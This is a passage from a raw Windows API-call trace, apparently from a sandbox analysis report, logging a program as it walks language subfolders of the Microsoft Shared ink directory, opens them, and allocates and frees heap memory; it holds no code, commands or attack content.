ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0046.805] GetLastError () returned 0x12 [0046.805] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.806] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.806] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.806] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.806] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0046.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.807] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee74a0 [0046.808] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee74a0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee74a0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee74a0) returned 1 [0046.808] NtClose (Handle=0x174) returned 0x0 [0046.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.808] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.808] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.808] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4ed8 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee56c8 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.809] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.809] GetLastError () returned 0x12 [0046.809] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.809] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.809] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.809] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.809] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.809] GetLastError () returned 0x12 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.809] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.809] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.874] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee74a0 [0046.875] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee74a0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee74a0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee74a0) returned 1 [0046.875] NtClose (Handle=0x170) returned 0x0 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.875] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4ef8 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee57d0 [0046.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3c0) returned 0xee74a0 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0046.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.875] GetLastError () returned 0x12 [0046.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.876] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.876] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.876] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.876] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.876] GetLastError () returned 0x12 [0046.876] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.876] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.876] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.876] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.876] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0046.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.876] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.877] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.877] NtClose (Handle=0x174) returned 0x0 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.877] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4f18 [0046.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee58d8 [0046.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.877] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.877] GetLastError () returned 0x12 [0046.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.878] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.878] 